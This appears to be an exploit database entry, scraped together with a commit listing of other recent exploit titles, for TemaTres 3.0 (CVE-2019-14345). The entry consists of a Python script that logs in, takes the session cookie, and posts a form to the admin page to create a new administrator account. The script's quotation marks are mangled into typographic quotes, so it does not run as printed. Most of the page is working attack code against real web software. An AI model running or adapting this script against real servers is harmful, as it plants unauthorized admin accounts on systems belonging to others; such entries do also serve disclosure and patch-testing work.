3e9ff5a927
13 changes to exploits/shellcodes iSmartViewPro 1.3.34 - Denial of Service (PoC) Open Proficy HMI-SCADA 5.0.0.25920 - 'Password' Denial of Service (PoC) Foscam Video Management System 1.1.4.9 - 'Username' Denial of Service (PoC) Emerson PAC Machine Edition 9.70 Build 8595 - 'FxControlRuntime' Unquoted Service Path ASUS HM Com Service 1.00.31 - 'asHMComSvc' Unquoted Service Path MobileGo 8.5.0 - Insecure File Permissions NCP_Secure_Entry_Client 9.2 - Unquoted Service Paths nipper-ng 0.11.10 - Remote Buffer Overflow (PoC) Lexmark Services Monitor 2.27.4.0.39 - Directory Traversal Crystal Live HTTP Server 6.01 - Directory Traversal Centova Cast 3.2.11 - Arbitrary File Download TemaTres 3.0 - Cross-Site Request Forgery (Add Admin) TemaTres 3.0 - 'value' Persistent Cross-site Scripting
74 lines
No EOL
2.1 KiB
Text
74 lines
No EOL
2.1 KiB
Text
# Exploit Title: TemaTres 3.0 — Cross-Site Request Forgery (Add Admin)
|
||
# Author: Pablo Santiago
|
||
# Date: 2019-11-14
|
||
# Vendor Homepage: https://www.vocabularyserver.com/
|
||
# Source: https://sourceforge.net/projects/tematres/files/TemaTres%203.0/tematres3.0.zip/download
|
||
# Version: 3.0
|
||
# CVE : 2019–14345
|
||
# Reference:https://medium.com/@Pablo0xSantiago/cve-2019-14345-ff6f6d9fd30f
|
||
# Tested on: Windows 10
|
||
|
||
# Description:
|
||
# Web application for management formal representations of knowledge,
|
||
# thesauri, taxonomies and multilingual vocabularies / Aplicación para
|
||
# la gestión de representaciones formales del conocimiento, tesauros,
|
||
# taxonomías, vocabularios multilingües.
|
||
|
||
#Exploit
|
||
|
||
import requests
|
||
import sys
|
||
|
||
session = requests.Session()
|
||
|
||
http_proxy = “http://127.0.0.1:8080"
|
||
https_proxy = “https://127.0.0.1:8080"
|
||
|
||
proxyDict = {
|
||
“http” : http_proxy,
|
||
“https” : https_proxy
|
||
}
|
||
|
||
url = ‘http://localhost/tematres/vocab/login.php'
|
||
values = {‘id_correo_electronico’: ‘pablo@tematres.com’,
|
||
‘id_password’: ‘admin’,
|
||
‘task’:’login’}
|
||
|
||
r = session.post(url, data=values, proxies=proxyDict)
|
||
cookie = session.cookies.get_dict()[‘PHPSESSID’]
|
||
|
||
print (cookie)
|
||
|
||
host = sys.argv[1]
|
||
user = input(‘[+]User:’)
|
||
lastname = input(‘[+]lastname:’)
|
||
password = input(‘[+]Password:’)
|
||
password2 = input(‘[+]Confirm Password:’)
|
||
email = input(‘[+]Email:’)
|
||
|
||
if (password == password2):
|
||
#configure proxy burp
|
||
|
||
data = {
|
||
‘_nombre’:user,
|
||
‘_apellido’:lastname,
|
||
‘_correo_electronico’:email,
|
||
‘orga’:’bypassed’,
|
||
‘_clave’:password,
|
||
‘_confirmar_clave’:password2,
|
||
‘isAdmin’:1,
|
||
‘boton’:’Guardar’,
|
||
‘userTask’:’A’,
|
||
‘useactua’:’’
|
||
|
||
}
|
||
headers= {
|
||
‘Cookie’: ‘PHPSESSID=’+cookie
|
||
}
|
||
request = session.post(host+’/tematres/vocab/admin.php’, data=data,
|
||
headers=headers, proxies=proxyDict)
|
||
print(‘+ — — — — — — — — — — — — — — — — — — — — — — — — — +’)
|
||
print(‘Status Code:’+ str(request.status_code))
|
||
|
||
else:
|
||
print (‘Passwords dont match!!!’) |